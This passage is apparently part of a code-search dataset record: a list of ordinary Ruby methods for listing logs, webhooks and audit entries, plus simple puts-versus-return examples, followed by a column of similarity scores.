"def index\n @user_logs = UserLog.paginate(:page => params[:page], :per_page => 30).order('created_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_logs }\n end\n end",
"def index\n @webhook_endpoints = WebhookEndpoint.all\n end",
"def index\n @server_monitor_logs = ServerMonitorLog.fetch_log(params) \n end",
"def webhook_logs\r\n WebhookLogsController.instance\r\n end",
"def get_logs(start_time, end_time)\n\t\trefresh_token_if_needed()\n\t\tlogs = Array.new\n\t\t#add access token to header\n\t\theader = {\"Authorization\": \"Bearer #{@adal_response.access_token}\", \"Content-Length\": \"0\"}\n \t\trequest_uri = \"https://manage.office.com/api/v1.0/#{@tenantid}/activity/feed/subscriptions/content?contentType=#{@content_type}&startTime=#{start_time}&endTime=#{end_time}&PublisherIdentifier=#{@publisherid}\"\n \t\t# Send request to get blobs uri\n \t\tbegin\n response = Requests.request(\"GET\",request_uri, headers: header)\n\t\t\twhile response.headers.include? 'nextpageuri'\n \tnext_page = response.headers['nextpageuri'][0]\n \tprocess_page(response, logs)\n \t#use next page uri to get more blobs\n \tresponse = Requests.request(\"GET\", \"#{next_page}?PublisherIdentifier=#{@publisherid}\", headers: header)\n \tend\n rescue StandardError => e\n @logger.error(\"[#{@content_type}] Error getting page #{request_uri}\\n#{e.message}\")\n @logger.error(e.backtrace.inspect)\n end\n \t\tprocess_page(response, logs)\n\t\t@logger.info(\"[#{@content_type}] Processed #{logs.count} logs, start:#{start_time}, end:#{end_time}\")\n \t\tlogs\n\tend",
"def index\n @data_logs = DataLog.all\n end",
"def index\n @wr_logs = WrLog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wr_logs }\n end\n end",
"def list_logs(identifier, opts = {})\n data, _status_code, _headers = list_logs_with_http_info(identifier, opts)\n return data\n end",
"def index\n @calllogs = Calllog.all\n end",
"def get_bre_event_logs_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LogsApi.get_bre_event_logs ...\"\n end\n # resource path\n local_var_path = \"/bre/logs/event-log\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_start_date'] = opts[:'filter_start_date'] if !opts[:'filter_start_date'].nil?\n query_params[:'filter_event_name'] = opts[:'filter_event_name'] if !opts[:'filter_event_name'].nil?\n query_params[:'filter_event_id'] = opts[:'filter_event_id'] if !opts[:'filter_event_id'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n query_params[:'filter_rule_id'] = opts[:'filter_rule_id'] if !opts[:'filter_rule_id'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceBreEventLog')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_bre_event_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_audit_log_entries_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AuditLogApi.get_audit_log_entries ...'\n end\n # resource path\n local_var_path = '/auditlog'\n\n # query parameters\n query_params = {}\n query_params[:'before'] = opts[:'before'] if !opts[:'before'].nil?\n query_params[:'after'] = opts[:'after'] if !opts[:'after'].nil?\n query_params[:'q'] = opts[:'q'] if !opts[:'q'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'spec'] = opts[:'spec'] if !opts[:'spec'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Token']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AuditLogEntries')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuditLogApi#get_audit_log_entries\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_logs(job_id:)\n logs = []\n xml_data = get_log_xml(job_id: job_id)\n response_code = get_log_xml_response_code(xml_data: xml_data)\n\n if response_code == \"success\"\n job_status = get_log_job_status(xml_data: xml_data)\n\n if job_status == \"FIN\"\n xml_data.xpath('//response/result/log/logs/*').each do |log_xml|\n logs << PaloAlto::Models::LogEntry.from_xml(xml_data: log_xml)\n end\n else\n raise \"Log job with ID '#{job_id}' is still in progress\"\n end\n else\n raise \"Error in response XML: #{data.inspect}\"\n end\n\n logs\n end",
"def getTimeLogs(response)\r\n\t\t\t\ttimeLogs_json = JSON.parse response\r\n\t\t\t\ttimeLogs_array = timeLogs_json[\"timelogs\"]\r\n\t\t\t\treturn jsonToTimelogList(timeLogs_array)\r\n\t\t\tend",
"def index\n @user = current_user\n if ( params[:search] && (params[:search].size > 0) )\n @logs = search( Log, params[:search], [ \"msg\" ] )\n @paginate = false\n else\n @logs = Log.paginate( page: params[ :page ], per_page: 100, order: \"created_at desc\" )\n @paginate = true\n end\n end",
"def all\n raw_response = get_request('webhooks')\n parse_response(raw_response, :webhooks)\n end",
"def index\n @action_logs = ActionLog.order(\"created_at DESC\").\n paginate(:page => params[:page].blank? ? 1 : params[:page],\n :per_page => params[:per_page].blank? ? 20 : params[:per_page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @action_logs }\n end\n end",
"def get_webhook_activation_logs(opts = {})\n data, _status_code, _headers = get_webhook_activation_logs_with_http_info(opts)\n data\n end",
"def fetch_records\n offset = 0\n offset = @page_size * (@page_number - 1) if @page_number > 1\n\n ar_relation = UserActivityLog.using_client_shard(client: @client).where(\n user_id: @user_kyc_detail.user_id,\n log_type: GlobalConstant::UserActivityLog.admin_log_type\n )\n\n @total_action_logs = ar_relation.count\n\n @logs_ars = ar_relation.limit(@page_size).offset(offset).order('id DESC').all\n return if @logs_ars.blank?\n\n admin_ids = @logs_ars.collect(&:admin_id).compact.uniq\n return if admin_ids.blank?\n\n @admin_details = Admin.where(id: admin_ids).index_by(&:id)\n end",
"def list_logs_with_http_info(identifier, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AlertApi.list_logs ...\"\n end\n # verify the required parameter 'identifier' is set\n if @api_client.config.client_side_validation && identifier.nil?\n fail ArgumentError, \"Missing the required parameter 'identifier' when calling AlertApi.list_logs\"\n end\n if @api_client.config.client_side_validation && opts[:'identifier_type'] && !['id', 'alias', 'tiny'].include?(opts[:'identifier_type'])\n fail ArgumentError, 'invalid value for \"identifier_type\", must be one of id, alias, tiny'\n end\n if @api_client.config.client_side_validation && opts[:'direction'] && !['next', 'prev'].include?(opts[:'direction'])\n fail ArgumentError, 'invalid value for \"direction\", must be one of next, prev'\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 100\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling AlertApi.list_logs, must be smaller than or equal to 100.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling AlertApi.list_logs, must be greater than or equal to 1.'\n end\n\n if @api_client.config.client_side_validation && opts[:'order'] && !['asc', 'desc'].include?(opts[:'order'])\n fail ArgumentError, 'invalid value for \"order\", must be one of asc, desc'\n end\n # resource path\n local_var_path = \"/v2/alerts/{identifier}/logs\".sub('{' + 'identifier' + '}', identifier.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'identifierType'] = opts[:'identifier_type'] if !opts[:'identifier_type'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'direction'] = opts[:'direction'] if !opts[:'direction'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['GenieKey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ListAlertLogsResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AlertApi#list_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_user_logs_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LogsApi.get_user_logs ...\"\n end\n # resource path\n local_var_path = \"/audit/logs\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_user'] = opts[:'filter_user'] if !opts[:'filter_user'].nil?\n query_params[:'filter_action_name'] = opts[:'filter_action_name'] if !opts[:'filter_action_name'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceUserActionLog')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_user_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def logs_for_download\n retrieve_logs_for_download\n end",
"def list(offset = 0, limit = 100)\n api.get('', offset: offset, limit: limit)\n end",
"def list(offset = 0, limit = 100)\n api.get('', offset: offset, limit: limit)\n end",
"def list(offset = 0, limit = 100)\n api.get('', offset: offset, limit: limit)\n end",
"def list(offset = 0, limit = 100)\n api.get('', offset: offset, limit: limit)\n end",
"def list_logs(user_id:, queries: nil)\n path = '/users/{userId}/logs'\n .gsub('{userId}', user_id)\n\n if user_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"userId\"')\n end\n\n params = {\n queries: queries,\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'GET',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::LogList\n )\n end",
"def get_logs(opts = {})\n data, _status_code, _headers = get_logs_with_http_info(opts)\n data\n end",
"def list_log_https(opts = {})\n data, _status_code, _headers = list_log_https_with_http_info(opts)\n data\n end",
"def list(\n filter,\n *args,\n deadline: nil\n )\n req = V1::AccountAttachmentHistoryListRequest.new()\n req.meta = V1::ListRequestMetadata.new()\n page_size_option = @parent._test_options[\"PageSize\"]\n if page_size_option.is_a? Integer\n req.meta.limit = page_size_option\n end\n if not @parent.snapshot_time.nil?\n req.meta.snapshot_at = @parent.snapshot_time\n end\n\n req.filter = Plumbing::quote_filter_args(filter, *args)\n resp = Enumerator::Generator.new { |g|\n tries = 0\n loop do\n begin\n plumbing_response = @stub.list(req, metadata: @parent.get_metadata(\"AccountAttachmentsHistory.List\", req), deadline: deadline)\n rescue => exception\n if (@parent.shouldRetry(tries, exception))\n tries + +@parent.jitterSleep(tries)\n next\n end\n raise Plumbing::convert_error_to_porcelain(exception)\n end\n tries = 0\n plumbing_response.history.each do |plumbing_item|\n g.yield Plumbing::convert_account_attachment_history_to_porcelain(plumbing_item)\n end\n break if plumbing_response.meta.next_cursor == \"\"\n req.meta.cursor = plumbing_response.meta.next_cursor\n end\n }\n resp\n end",
"def get_bre_event_logs(opts = {})\n data, _status_code, _headers = get_bre_event_logs_with_http_info(opts)\n return data\n end",
"def fetch_flow_logs(ec2_client, vpc_id)\n logger.info(\"fetching flow logs of vpc:#{vpc_id}\")\n next_token = nil\n flow_logs = []\n\n begin\n options = { next_token: nil, max_results: 50, filter: [{ name: 'resource-id', values: [vpc_id] }] }\n resp = ec2_client.describe_flow_logs(options)\n next_token = resp.next_token\n flow_logs += resp.flow_logs\n end while next_token\n flow_logs\n end",
"def getLog(page = 1, per_page = 20, order_by = ORDERBY_REQUEST_TIME, order_dir = ORDERDIR_DESC)\n\t\t\treturn PushSubscription.getLogs(@user, page, per_page, order_by, order_dir, @id)\n\t\tend",
"def index\n @config_logs = ConfigLog.all\n end",
"def files\n page = get_page\n offset = PER_PAGE * page\n get_run_logs(:limit => PER_PAGE, :offset => offset)\n end",
"def fetch_entries(quantity=30)\n logger.info \"#{SERVICE_NAME}: Fetching #{quantity} most recent tweets by #{self.twitter_login}\"\n Twitter::Search.new.\n from(self.twitter_login).\n per_page(quantity).\n fetch.\n results\n rescue Timeout::Error => tme\n logger.warn \"#{SERVICE_NAME}: Error fetching posts (timeout error): #{tme}\"\n []\n rescue => e\n logger.warn \"#{SERVICE_NAME}: Error fetching posts: #{e}\"\n []\n end",
"def get_user_logs(accessToken, username)\n found = 0\n loop do\n req = {\n 'AccessToken' => accessToken,\n 'Username' => username,\n 'MaxPerPage' => MAX_LOGS,\n 'LogTypes' => [2],\n 'StartIndex' => found,\n }\n data = _post('/LiveV6IAP/Geocaching.svc/GetUsersGeocacheLogs', req)\n\n _check_result(data)\n\n logs = data['Logs']\n yield logs\n found += logs.size\n break if logs.size < MAX_LOGS\n end\n end",
"def index\n if params[:whose]\n @rblogs = Rblog.my_blogs(params[:whose])\n if params[:private]\n @rblogs = @rblogs.my_private_blogs(params[:whose])\n else\n @rblogs = @rblogs.my_shared_blogs(params[:whose])\n end\n else\n @rblogs = Rblog.shared\n end\n @rblogs = @rblogs.paginate(page: params[:page], per_page: 10)\n # if request.xhr?\n # sleep(1)\n # render :partial => @rblogs\n # end\n end",
"def entries(limit=nil)\n limit ||= -1\n LiveJournal::Request::GetEvents.new(@user, :recent => limit, :strict => false).run\n end",
"def list_log_kafka(opts = {})\n data, _status_code, _headers = list_log_kafka_with_http_info(opts)\n data\n end",
"def sleep_logs_list(params = {})\n default_params = { before_date: Date.today, after_date: nil, sort: 'desc', limit: 20, offset: 0 }\n get(\"user/#{user_id}/sleep/list.json\", default_params.merge(params))\n end",
"def index\n # limit all queries\n @audits = query_limit_all(AUDIT, :login, :message).reverse\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @audits }\n end\n end",
"def recent\n @limit = 10\n @webhooks = Webhook.limit(@limit).order(id: :desc)\n end",
"def list_all_account_logs_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.list_all_account_logs ...'\n end\n # resource path\n local_var_path = '/Accounts/{accountId}/Logs'.sub('{' + 'accountId' + '}', CGI.escape(account_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'LogList'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['fc']\n\n new_options = opts.merge(\n :operation => :\"DefaultApi.list_all_account_logs\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#list_all_account_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @log_messages = LogMessage.find(:all, :order => 'created_at DESC')\n\n respond_to do |format|\n format.html # index.html.haml\n format.xml { render :xml => @log_messages }\n end\n end",
"def index\n @rcadmin_login_logs = Rcadmin::LoginLog.all\n end",
"def get_bre_forward_logs_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LogsApi.get_bre_forward_logs ...\"\n end\n # resource path\n local_var_path = \"/bre/logs/forward-log\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_start_date'] = opts[:'filter_start_date'] if !opts[:'filter_start_date'].nil?\n query_params[:'filter_end_date'] = opts[:'filter_end_date'] if !opts[:'filter_end_date'].nil?\n query_params[:'filter_status_code'] = opts[:'filter_status_code'] if !opts[:'filter_status_code'].nil?\n query_params[:'filter_url'] = opts[:'filter_url'] if !opts[:'filter_url'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceForwardLog')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_bre_forward_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_bre_forward_logs(opts = {})\n data, _status_code, _headers = get_bre_forward_logs_with_http_info(opts)\n return data\n end",
"def index\n @ethernet_logs = EthernetLog.all\n end",
"def filing_history_list(company_number, category = nil, items_per_page = nil, start_index = nil)\n params = {category: category}\n params[:items_per_page] = items_per_page if items_per_page\n params[:start_index] = start_index if start_index\n\n client.get(\"company/#{company_number}/officers/\", params)\n end",
"def index\n @o_all = @ticket.ticket_logs\n end",
"def get_event_logs(last_n=5)\n\n service_logs = []\n\n logrow = 0\n\n if last_n > @describe_service.services[0].events.length\n loop_to = @describe_service.services[0].events.length\n else\n loop_to = last_n\n end\n\n while logrow < loop_to\n log = RaisEcs::ServiceEventLog.new({\n id: @describe_service.services[0].events[logrow].id,\n created_at: @describe_service.services[0].events[logrow].created_at,\n message: @describe_service.services[0].events[logrow].message\n })\n\n service_logs << log\n logrow += 1\n end\n\n return service_logs\n\n end",
"def index\n @audit_logs = AuditLog.all\n end",
"def details(webhook_log_id)\n API::request(:get, \"webhook_logs/#{webhook_log_id}\")\n end",
"def index\n @logs = @goal.logs.order('log_date DESC')\n @log = Log.new\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @logs }\n end\n end",
"def index\n @web_process_logs = WebProcessLog.all\n end",
"def index\n @hooks = Hook.all\n respond_with(@hooks)\n end",
"def logs_get(opts = {})\n data, _status_code, _headers = logs_get_with_http_info(opts)\n data\n end",
"def webhooks_list(owner, repo, opts = {})\n data, _status_code, _headers = webhooks_list_with_http_info(owner, repo, opts)\n return data\n end",
"def list_log_heroku(opts = {})\n data, _status_code, _headers = list_log_heroku_with_http_info(opts)\n data\n end",
"def list_webhooks(opts = {})\n data, _status_code, _headers = list_webhooks_with_http_info(opts)\n data\n end",
"def log\n count = default_log_lines(params)\n lines = get_file_lines(log: true, tail: count)\n respond_with(lines)\n end",
"def log_contents\n if API_KEYS[\"logentries\"]\n account_key = API_KEYS[\"logentries\"][Rails.env][\"account_key\"]\n log_set = API_KEYS[\"logentries\"][Rails.env][\"log_set\"]\n log_name = \"nsc\"\n url = \"https://pull.logentries.com/#{account_key}/hosts/#{log_set}/#{log_name}/?filter=#{log_prefix}\"\n Rails.logger.debug { \"Fetching log from #{url}\" }\n open(url).read\n else\n File.read(log_path)\n end\n end",
"def index\n @redirect_logs = RedirectLog.all\n end",
"def list(domain, options = {})\n res = @client.get(\"domains/#{domain}/webhooks\", options)\n res.to_h['webhooks']\n end"
] |
[
"0.6977267",
"0.6977267",
"0.68222547",
"0.64133584",
"0.64061975",
"0.6368022",
"0.6349391",
"0.62849885",
"0.6274245",
"0.62468076",
"0.61816764",
"0.6174881",
"0.612498",
"0.61221844",
"0.611875",
"0.6108985",
"0.6101719",
"0.6093711",
"0.60864645",
"0.60806674",
"0.60785115",
"0.60715795",
"0.6033692",
"0.6028818",
"0.60248756",
"0.60204273",
"0.60112995",
"0.60096127",
"0.5996276",
"0.5992862",
"0.59875065",
"0.59870183",
"0.59674716",
"0.590696",
"0.5897219",
"0.5860211",
"0.5858755",
"0.5849451",
"0.5821384",
"0.58165926",
"0.5793431",
"0.5770924",
"0.57580817",
"0.5753602",
"0.5736843",
"0.5729413",
"0.57237124",
"0.5723337",
"0.5722346",
"0.57201517",
"0.5713022",
"0.569428",
"0.568619",
"0.5669777",
"0.56692255",
"0.566699",
"0.5666153",
"0.5658266",
"0.5658266",
"0.5658266",
"0.5658266",
"0.5647103",
"0.5621208",
"0.56101304",
"0.5602442",
"0.5591453",
"0.5584898",
"0.5582485",
"0.5580995",
"0.5580301",
"0.5577366",
"0.55765605",
"0.5548131",
"0.55454934",
"0.5542281",
"0.55416536",
"0.5533576",
"0.55236113",
"0.5522138",
"0.5518404",
"0.5513306",
"0.55043316",
"0.5497298",
"0.5481019",
"0.5474159",
"0.54729104",
"0.54703796",
"0.5463199",
"0.54571396",
"0.5456896",
"0.5451471",
"0.5447224",
"0.54401773",
"0.5438855",
"0.5437397",
"0.5429941",
"0.54231113",
"0.5422677",
"0.540758",
"0.54045933"
] |
0.6753846
|
3
|
What ruby methods return Last statement mostly. Differences between puts and returning values puts doesnot return any value
|
def void_method # prints and returns nil
puts "Hey there"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def print_me_2\n \"I'm printing the return value!!!\"\nend",
"def add (a, b)\n puts 1\n puts 2 \n (a+b)\n return result\n \nend",
"def say_hi\n # output \"hi\" to console\n puts \"hi\"\n # return 10 (implicit return)\n 10\nend",
"def puts\n end",
"def print_me\n \"I'm printing the return value\"\nend",
"def return_guess\r\n puts \"What will be the return value here?\" # puts nao retorna valor nenhum\r\n print \"Will print be any different?\"\r\nend",
"def print\n return ''\n end",
"def print_me\n \"I'm printing the return value!\"\nend",
"def print_me\n \"I'm printing the return value!\"\nend",
"def print_me\n \"I'm printing the return value!\"\nend",
"def print_me\n \"I'm printing the return value!\"\nend",
"def print_me\n \"I'm printing the return value!\"\nend",
"def print_me\n 'I\\'m printing the return value!'\nend",
"def print_me\n return \"I'm printing the return value!\"\nend",
"def println\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 22 )\n\n begin\n # at line 693:4: 'println' '(' expression ')' ';'\n match( T__48, TOKENS_FOLLOWING_T__48_IN_println_1037 )\n match( T__28, TOKENS_FOLLOWING_T__28_IN_println_1039 )\n @state.following.push( TOKENS_FOLLOWING_expression_IN_println_1041 )\n expression\n @state.following.pop\n # --> action\n\n \t pr = @stack_operands.pop\n pr_t = @stack_types.pop\n generate('prl', nil, nil ,pr )\n free_avail(pr)\n free_avail_const(pr)\n \t \n # <-- action\n match( T__29, TOKENS_FOLLOWING_T__29_IN_println_1054 )\n match( T__31, TOKENS_FOLLOWING_T__31_IN_println_1056 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 22 )\n\n end\n \n return \n end",
"def this_output_twice\n print \"Calling print or puts\"\nend",
"def second_method\n\tputs \"This is my second method\"\n\t\"Hello\" #Ruby methods returns the last value automatically\n\t#if you want to return more than one vlaue, you need an explicit return statement\nend",
"def printResult(result)\r\n puts\r\n puts \" Least number of times you can copy paste a \"\r\n puts \" print statement: #{result}\"\r\n puts \"======================== END ========================\\n\\n\"\r\nend",
"def puts(*rest) end",
"def puts(*rest) end",
"def puts(*rest) end",
"def puts(*rest) end",
"def greet\n hello + \" \" + world # this format allows us to use puts on line 31\nend",
"def meal\n return 'Breakfast'\n 'Dinner'\n puts 'Dinner'\nend",
"def meal\n return 'Breakfast'\n 'Dinner'\n puts 'Dinner'\nend",
"def meal\n return 'Breakfast'\n 'Dinner'\n puts 'Dinner'\nend",
"def meal\n return 'Breakfast'\n 'Dinner'\n puts 'Dinner'\nend",
"def meal\n return 'Breakfast'\n 'Dinner'\n puts 'Dinner'\nend",
"def meal\n return 'Breakfast'\n 'Dinner'\n puts 'Dinner'\nend",
"def meal\n return 'Breakfast'\n 'Dinner'\n puts 'Dinner'\nend",
"def meal\n return 'Breakfast'\n 'Dinner'\n puts 'Dinner'\nend",
"def meal\n return 'Breakfast'\n 'Dinner'\n puts 'Dinner'\nend",
"def meal \n return 'Breakfast'\n 'Dinner'\n puts 'Dinner'\nend",
"def statement; end",
"def print_me\r\n print_me = \"I'm printing the return value\"\r\n end",
"def puts(str)\nend",
"def test_method\n return \"The method will return this string here!\"\n puts \"This line of code will not run.\"\nend",
"def add(a, b)\n puts \"#{a} + #{b}\"\n return a + b\nend",
"def add(a, b)\n puts \"#{a} + #{b}\"\n return a + b\nend",
"def add(a, b)\n puts \"#{a} + #{b}\"\n return a + b\nend",
"def return_string1\n puts \"This is a test\"\nend",
"def newline\n puts\n end",
"def addition(a,b)\n puts c = a + b\n end",
"def print()\n \tputs fullName()\n \treturn fullName()\n end",
"def greet(name)\n return puts \"Hello, #{name} how are you doing today?\"\nend",
"def add(a, b)\n #puts a + b\n return a + b\nend",
"def add(a, b)\n puts \"addng #{a} + #{b}\"\n return a + b\nend",
"def add(a, b)\n p \"ADDING #{a} + #{b}\"\n return a + b\nend",
"def return_statement_tail(fn)\n if @scanner.peek.value != ';'\n \"#{expression(fn)} #{@scanner.next.value}\"\n else\n \"#{@scanner.next.value}\"\n end\n end",
"def printing\n \n # \"print\" print data in console without linebrean by default\n print \"HELLO WORLD! \"\n # \"puts\" print data in console with linebreak\n puts \"Hello World!\"\n puts 2+2\n\n#\"end\" finalize the function \nend",
"def add(a, b)\n puts \"ADDING: #{a} + #{b}\"\n return a + b\nend",
"def add_two_numbers(num1, num2)\n puts \"OK, I'm solving your math problem!\"\n # if return is not in method, the method\n # will return the last expression. here puts ...\n return num1 + num2\n\n # could be dropped for\n # num1 + num2 only, as that will be the last\n # operation the method runs.\nend",
"def say_moo number_of_moos\r\n\tputs \"mooooooo...\" * number_of_moos\r\n\t\"yellow submarine\" #return value!\r\nend",
"def sayHello(name)\n result = \"Hello \" + name + \"!\"\n # Using the \", the sequence #{expression} is replaced by the value of expression.\n result = \"Hello #{name}!\"\n return result\n#since the value returned by a ruby method is the value of the last expression evaluated, we can get rid of the return statement altogether.\n \"Hello #{name}!\"\nend",
"def add (a, b)\n puts \"Adding #{a} + #{b}\"\n return a+b\nend",
"def add(a, b)\n puts \"adding #{a} and #{b}:\"\n return a + b\nend",
"def add(a, b)\n puts \"ADDING #{a} + #{b}\"\n return a + b\nend",
"def add(a, b)\n puts \"ADDING #{a} + #{b}\"\n return a + b\nend",
"def add(a, b)\n puts \"Add #{a} + #{b}\"\n return a + b\nend",
"def checked_puts object = ''\n real_puts object\n @prev_printed = false\n end",
"def puts(message); end",
"def scream(word)\n word = word + \"!!!\"\n return puts \"#{word}\" #<--------\nend",
"def sum(a, b)\n puts \"The sum of #{a} + #{b} = \" + \"#{(a + b)}\"\n #return a + b not needed for this\nend",
"def output\n stack << evaluate(stack.pop)\n\n stack.last\n end",
"def returnsomething\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 18 )\n\n begin\n # at line 613:5: expression\n @state.following.push( TOKENS_FOLLOWING_expression_IN_returnsomething_848 )\n expression\n @state.following.pop\n # --> action\n\n \trt = @stack_operands.pop\n rt_t = @stack_types.pop\n if(rt_t != @current_method.return_type)\n raise \"Invalid return type #{rt_t} in the #{@current_method.return_type} type method #{@current_class.name}::#{@current_method.name}\"\n end\n generate('ret', nil, nil ,rt )\n @is_returning = true\n free_avail(rt)\n free_avail_const(rt)\n \n \n # <-- action\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 18 )\n\n end\n \n return \n end",
"def addition(x, y)\n puts \"Addition: #{x} + #{y}\"\n return x + y\nend",
"def sum(a, b)\n points = 100\n return points # => Never give bottom of 'return'\n a + b + points\n puts \"This is after the expicit return statement\"\nend",
"def add_three_again(x)\r\n new_value = x + 3\r\n puts new_value # prints returned value\r\n new_value # == return new_value; implicitly returns\r\nend",
"def puts(string)\n print \"#{string}\\n\"\nend",
"def add(a,b)\n p (a + b)\nend",
"def test_method message\n puts \"Hi there\"\n puts message\n 2\n \"ha\"\nend",
"def puts(*args)\nend",
"def return_guess\n puts \"What will be the return value here?\"\n return \"What will be the return value here?\"\nend",
"def puts(str='')\n output(str)\n end",
"def print_result( exec, prior = nil )\n line = \"\"\n orig_result_start( exec, line )\n super( exec, prior, line )\n @out << line\n end",
